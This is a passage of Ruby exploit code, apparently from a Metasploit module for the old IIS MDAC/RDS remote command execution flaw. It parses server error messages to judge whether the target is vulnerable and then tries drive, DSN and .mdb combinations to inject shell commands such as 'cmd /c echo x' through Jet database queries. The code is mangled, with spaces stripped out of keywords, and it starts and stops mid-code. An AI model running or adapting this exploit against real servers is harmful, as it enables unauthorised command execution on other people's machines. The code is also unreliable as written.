vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
returntrue,sql,d
elsif(response=~/RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
print_error("Exploit failed: the server is patched")
return# we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
elsif(response=~/The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")
elsif(response=~/isn't a valid path/||response=~/is not a valid path/||response=~/Could not find file/)
vprint_error("Server is vulnerable but the drive and path is incorrect.")
elsif(response=~/Disk or network error./)
vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
elsif(response=~/Syntax error in CREATE TABLE statement/)
vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")
elsif(response=~/Table '(\w+)' already exists/)
vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
elsif(response=~/Syntax error \(missing operator\) in query expression/)
vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")
elsif(response=~/Too few parameters. Expected 1/)
print_good("Command was probably executed!")
elsif(response=~/Data source name not found and no default driver specified/)
vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")
elsif(response=~/Couldn't find file/)
vprint_error("Server is vulnerable however the requested .mdb file does not exist.")
elsif(response=~/Specified SQL server not found/)
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")
elsif(response=~/Server does not exist or access denied/)
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")
elsif(response=~/General error Unable to open registry key/)
vprint_error("Server error (possible misconfiguration): Unable to open registry key ")
elsif(response=~/It is in a read-only database/)
vprint_error("Server accepted request however the requested .mdb is READ-ONLY")
elsif(response=~/Invalid connection/)
vprint_error("Server accepted request however the MSSQL database says Invalid connection")
elsif(response=~/\[SQL Server\]Login failed for user/)
vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")
elsif(response=~/EXECUTE permission denied on object 'xp_cmdshell'/)
vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")
elsif(response=~/\"(...)\"/)# we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
vprint_error("Server accepted request however it failed for reasons unknown.")
elsif(res.body=~/\x09\x00\x01/)# magic bytes? rfp used it too :P maybe a retval?
vprint_error("Unknown reply - but the command didn't execute")
else
vprint_status("Unknown reply - server is likely patched:\n#{response}")
end
returnfalse
end
deffind_exec
# config data - greets to rain forest puppy :)
boundary=rand_text_alphanumeric(8)
if(datastore['NAME'])# Obtain the hostname if true
print_status("Step 1: Trying raw driver to btcustmr.mdb")
drives.eachdo|drive|
sysdirs.eachdo|sysdir|
ret=exec_cmd("Select * from Customers where City=","cmd /c echo x","driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")
returnretif(ret)
end
end
print_status("Step 2: Trying to make our own DSN...")
x=false# Stop if we make a DSN
drives.eachdo|drive|
dsns.eachdo|dsn|
unlessx
x=create_dsn(drive,dsn)
end
end
end
table=rand_text_alphanumeric(3)
print_status("Step 3: Trying to create a new table in our own DSN...")
exec_cmd("create table #{table} (B int, C varchar(10))",nil,"driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;")# this is general make table query
print_status("Step 4: Trying to execute our command via our own DSN and table...")
ret=exec_cmd("select * from #{table} where C=","cmd /c echo x","driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;")# this is general exploit table query
returnretif(ret)
print_status("Step 5: Trying to execute our command via known DSNs...")
dsns.eachdo|dsn|
ret=exec_cmd("select * from MSysModules where name=","cmd /c echo x",dsn)# this is table-independent query (new)
returnretif(ret)
end
print_status("Step 6: Trying known system .mdbs...")
drives.eachdo|drive|
sysdirs.eachdo|sysdir|
sysmdbs.eachdo|sysmdb|
exec_cmd("create table #{table} (B int, C varchar(10))",nil,"driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
ret=exec_cmd("select * from #{table} where C=","cmd /c echo x","driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
returnretif(ret)
end
end
end
print_status("Step 7: Trying known program file .mdbs...")
drives.eachdo|drive|
mdbs.eachdo|mdb|
exec_cmd("create table #{table} (B int, C varchar(10))",nil,"driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
ret=exec_cmd("select * from #{table} where C=","cmd /c echo x","driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")